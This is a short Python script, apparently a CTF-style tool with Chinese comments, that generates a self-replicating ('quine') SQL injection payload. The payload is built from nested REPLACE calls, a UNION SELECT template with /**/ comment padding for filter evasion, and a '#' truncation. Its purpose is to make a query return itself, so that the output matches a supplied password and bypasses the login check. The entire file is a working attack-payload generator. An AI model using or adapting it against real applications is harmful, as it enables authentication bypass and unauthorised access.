Qunie构造脚本(payload==password).py
# replace_S = REPLACE(REPLACE('replace_A',CHAR(34),CHAR(39)),replace_B的编码,'replace_A')
# replace_A = REPLACE(REPLACE("replace_B",CHAR(34),CHAR(39)),replace_B的编码,"replace_B")
class rep:
replace_S = ""
replace_A = ""
replace_B = ""
replace_charfuc = ""
result = ""
def reppay(self):
self.replace_S = self.replace_S.replace("REPLACE_BASE", "REPLACE(replace_temp,char_B,'replace_A')")
self.replace_S = self.replace_S.replace("replace_temp", "REPLACE('replace_A',tempchar_a,tempchar_b)")
self.replace_A = self.replace_S.replace("'", '"')
self.replace_A = self.replace_A.replace("replace_A", "replace_B")
print("-" * 20)
print("replace_S is " + self.replace_S)
print("replace_A is " + self.replace_A)
print("replace_B is " + self.replace_B)
print("-" * 20)
self.result = self.replace_S.replace("replace_A", self.replace_A)
self.result = self.result.replace("replace_B", self.replace_B)
temp = ""
tempchar_a = ""
tempchar_b = ""
if self.replace_charfuc.lower() == "CHAR".lower():
temp = self.replace_charfuc + "(" + str(ord(self.replace_B)) + ")"
tempchar_a = self.replace_charfuc + "(34)"
tempchar_b = self.replace_charfuc + "(39)"
elif self.replace_charfuc.lower() == "CHR".lower():
temp = self.replace_charfuc + "(" + str(ord(self.replace_B)) + ")"
tempchar_a = self.replace_charfuc + "(34)"
tempchar_b = self.replace_charfuc + "(39)"
elif self.replace_charfuc.lower() == "0x".lower():
temp = self.replace_charfuc + str("".join(hex(ord(self.replace_B)).replace('0x', '')))
tempchar_a = self.replace_charfuc + "22"
tempchar_b = self.replace_charfuc + "27"
else:
exit("ERROR replace_charfuc")
self.result = self.result.replace("char_B", temp)
self.result = self.result.replace("tempchar_a", tempchar_a)
self.result = self.result.replace("tempchar_b", tempchar_b)
print("payload is\n")
print(self.result)
payload = rep()
payload.replace_S = "'/**/union/**/select/**/REPLACE_BASE#" # 需要构造的payload模板,REPLACE部分请用 REPLACE_BASE 代替
payload.replace_B = "B" # 替换过程中的单个字符,必须是单个字符
payload.replace_charfuc = "0x" # ANSI转字符用的函数,可以是0x、CHAR、CHR ,大小写都可以
payload.reppay()